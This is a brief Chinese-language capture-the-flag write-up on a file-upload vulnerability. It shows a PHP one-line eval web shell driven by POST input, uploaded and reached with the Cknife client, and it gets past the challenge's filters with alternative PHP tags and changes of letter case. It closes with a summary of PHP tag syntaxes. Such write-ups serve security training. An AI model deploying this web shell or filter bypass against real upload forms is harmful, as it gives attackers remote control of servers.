進入題目的頁面,如圖所示
根據提示,可以猜測此題用的是文件上傳漏洞,通過上傳一句話木門,然後用菜刀連接獲取服務器控制,接着查看flag.php文件即可得到flag。
一句話木門如下:
<?php @eval($_POST['Cknife']);?>
發現可以上傳成功,通過查看源代碼可發現上傳的位置,現在通過網址訪問試試:
發現過濾了<?php,這是可以試試其他的php標記寫法.如:
<script language="php"> @eval($_POST['Cknife']);</script>
訪問一句話木門地址,發現似乎成功了。這是用Cknife來連接試試:
連接失敗,但有提示:
原來把php給過濾了,試試大小寫過濾。
成功繞過。
總結:
php標記的幾種寫法:
<? echo ("這是一個 PHP 語言的嵌入範例\n"); ?>
<?php echo("這是第二個 PHP 語言的嵌入範例\n"); ?>
<script language="php">
echo ("這是類似 JavaScript 及 VBScript 語法
的 PHP 語言嵌入範例");
</script>
<% echo ("這是類似 ASP 嵌入語法的 PHP 範例"); %>
<? ?>和<% %>的使用需要開啓php.ini文件中的short_open_tag,不然會報錯
在本題中,也可以用<% %>繞過。可自行嘗試。